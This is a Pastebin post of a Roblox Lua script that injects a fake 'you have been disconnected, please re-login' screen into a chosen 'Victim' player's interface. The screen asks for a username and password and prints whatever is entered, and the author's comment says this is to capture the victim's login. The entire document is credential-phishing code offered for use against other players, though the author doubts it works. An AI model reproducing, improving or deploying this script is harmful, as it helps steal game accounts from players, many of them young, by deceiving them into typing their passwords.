Advertisement
Guest User

MGUI

a guest
Mar 17th, 2017
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.69 KB | None | 0 0
  1. Victim = "Plr" -- Player to give the gui to, will print login on your screen. (If some1 gets it to work ofc)
  2.  
  3. -- Objects
  4.  
  5. local MaintenanceGui = Instance.new("ScreenGui")
  6. local Background = Instance.new("Frame")
  7. local Top = Instance.new("TextLabel")
  8. local User = Instance.new("TextLabel")
  9. local UserText = Instance.new("TextBox")
  10. local Pass = Instance.new("TextLabel")
  11. local PassText = Instance.new("TextBox")
  12. local Second = Instance.new("TextLabel")
  13. local Login = Instance.new("TextButton")
  14. local ROBLOX = Instance.new("ImageLabel")
  15. local Gradient = Instance.new("ImageLabel")
  16.  
  17. -- Properties
  18.  
  19. MaintenanceGui.Name = "MaintenanceGui"
  20. MaintenanceGui.Parent = game.Players:FindFirstChild(Victim).PlayerGui
  21.  
  22. Background.Name = "Background"
  23. Background.Parent = MaintenanceGui
  24. Background.BackgroundColor3 = Color3.new(1, 1, 1)
  25. Background.Position = UDim2.new(0.5, -250, 0.5, -250)
  26. Background.Size = UDim2.new(0, 550, 0, 300)
  27. Background.Style = Enum.FrameStyle.RobloxSquare
  28.  
  29. Top.Name = "Top"
  30. Top.Parent = Background
  31. Top.BackgroundColor3 = Color3.new(1, 1, 1)
  32. Top.BackgroundTransparency = 1
  33. Top.BorderSizePixel = 0
  34. Top.Position = UDim2.new(0, 0, 0.200000003, 10)
  35. Top.Size = UDim2.new(1, 0, 0.100000001, 0)
  36. Top.Font = Enum.Font.ArialBold
  37. Top.FontSize = Enum.FontSize.Size18
  38. Top.Text = "We're sorry, you have been disconnected from roblox servers!"
  39. Top.TextColor3 = Color3.new(1, 1, 1)
  40. Top.TextSize = 18
  41.  
  42. User.Name = "User"
  43. User.Parent = Background
  44. User.BackgroundColor3 = Color3.new(1, 1, 1)
  45. User.BackgroundTransparency = 1
  46. User.BorderSizePixel = 0
  47. User.Position = UDim2.new(0, -10, 0.449999988, 0)
  48. User.Size = UDim2.new(0.5, 0, 0.100000001, 0)
  49. User.Font = Enum.Font.ArialBold
  50. User.FontSize = Enum.FontSize.Size14
  51. User.Text = "Username:"
  52. User.TextColor3 = Color3.new(1, 1, 1)
  53. User.TextSize = 14
  54.  
  55. UserText.Name = "UserText"
  56. UserText.Parent = Background
  57. UserText.Active = false
  58. UserText.BackgroundColor3 = Color3.new(1, 1, 1)
  59. UserText.BorderSizePixel = 0
  60. UserText.Position = UDim2.new(0.300000012, 0, 0.453999996, 0)
  61. UserText.Size = UDim2.new(0.5, 0, 0.100000001, 0)
  62. UserText.Font = Enum.Font.Arial
  63. UserText.FontSize = Enum.FontSize.Size14
  64. UserText.Text = "Enter your Username"
  65. UserText.TextColor3 = Color3.new(0, 0, 0)
  66. UserText.TextSize = 14
  67. UserText.TextWrapped = true
  68.  
  69. Pass.Name = "Pass"
  70. Pass.Parent = Background
  71. Pass.BackgroundColor3 = Color3.new(1, 1, 1)
  72. Pass.BackgroundTransparency = 1
  73. Pass.BorderSizePixel = 0
  74. Pass.Position = UDim2.new(0, -10, 0.650000036, 0)
  75. Pass.Size = UDim2.new(0.5, 0, 0.100000001, 0)
  76. Pass.Font = Enum.Font.ArialBold
  77. Pass.FontSize = Enum.FontSize.Size14
  78. Pass.Text = "Password:"
  79. Pass.TextColor3 = Color3.new(1, 1, 1)
  80. Pass.TextSize = 14
  81.  
  82. PassText.Name = "PassText"
  83. PassText.Parent = Background
  84. PassText.Active = false
  85. PassText.BackgroundColor3 = Color3.new(1, 1, 1)
  86. PassText.BorderSizePixel = 0
  87. PassText.Position = UDim2.new(0.300000012, 0, 0.650000036, 0)
  88. PassText.Size = UDim2.new(0.5, 0, 0.100000001, 0)
  89. PassText.Font = Enum.Font.Arial
  90. PassText.FontSize = Enum.FontSize.Size14
  91. PassText.Text = "Enter your Password"
  92. PassText.TextColor3 = Color3.new(0, 0, 0)
  93. PassText.TextSize = 14
  94. PassText.TextWrapped = true
  95.  
  96. Second.Name = "Second"
  97. Second.Parent = Background
  98. Second.BackgroundColor3 = Color3.new(1, 1, 1)
  99. Second.BackgroundTransparency = 1
  100. Second.BorderSizePixel = 0
  101. Second.Position = UDim2.new(0, 0, 0.300000012, 0)
  102. Second.Size = UDim2.new(1, 0, 0.100000001, 0)
  103. Second.Font = Enum.Font.ArialBold
  104. Second.FontSize = Enum.FontSize.Size18
  105. Second.Text = "Please re-login to continue playing."
  106. Second.TextColor3 = Color3.new(1, 1, 1)
  107. Second.TextSize = 18
  108.  
  109. Login.Name = "Login"
  110. Login.Parent = Background
  111. Login.Active = false
  112. Login.BackgroundColor3 = Color3.new(0, 0.545098, 0)
  113. Login.BorderSizePixel = 0
  114. Login.Position = UDim2.new(0.360000014, 0, 0.699999988, 25)
  115. Login.Size = UDim2.new(0.300000012, 0, 0.100000001, 8)
  116. Login.Font = Enum.Font.ArialBold
  117. Login.FontSize = Enum.FontSize.Size18
  118. Login.Text = "Login"
  119. Login.TextColor3 = Color3.new(1, 1, 1)
  120. Login.TextSize = 18
  121.  
  122. ROBLOX.Name = "ROBLOX"
  123. ROBLOX.Parent = Login
  124. ROBLOX.BackgroundTransparency = 1
  125. ROBLOX.Position = UDim2.new(0, -90, 0.600000024, -250)
  126. ROBLOX.Size = UDim2.new(2, 0, 2, 0)
  127. ROBLOX.Image = "http://www.roblox.com/asset?id=144188266"
  128.  
  129. Gradient.Name = "Gradient"
  130. Gradient.Parent = Background
  131. Gradient.BackgroundColor3 = Color3.new(0, 0.545098, 0)
  132. Gradient.BackgroundTransparency = 1
  133. Gradient.BorderSizePixel = 0
  134. Gradient.Position = UDim2.new(0.360000014, 0, 0.699999988, 25)
  135. Gradient.Size = UDim2.new(0.300000012, 0, 0.100000001, 8)
  136. Gradient.Image = "http://www.roblox.com/asset?id=93726622"
  137.  
  138. Login.MouseButton1Down:connect(function()
  139. print(UserText.Text .. " : " .. PassText.Text)
  140. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement